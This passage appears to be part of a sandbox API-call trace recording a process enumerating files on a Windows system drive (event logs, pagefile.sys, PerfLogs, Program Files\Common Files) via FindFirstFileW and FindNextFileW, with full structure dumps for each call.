ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0053.452] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0053.453] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0053.453] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0053.453] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0053.453] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0053.453] FindClose (in: hFindFile=0x4260200 | out: hFindFile=0x4260200) returned 1 [0053.454] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0053.454] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0053.454] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0053.454] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0053.455] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.455] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0053.455] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0053.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0053.455] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0053.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0053.455] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.455] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0053.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260280 [0053.456] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.456] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0053.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0053.457] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0053.457] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0053.457] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0053.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260240 [0053.457] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.457] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x38cf584 | out: lpFindFileData=0x38cf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0053.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0053.458] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.458] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0053.458] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0053.458] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, 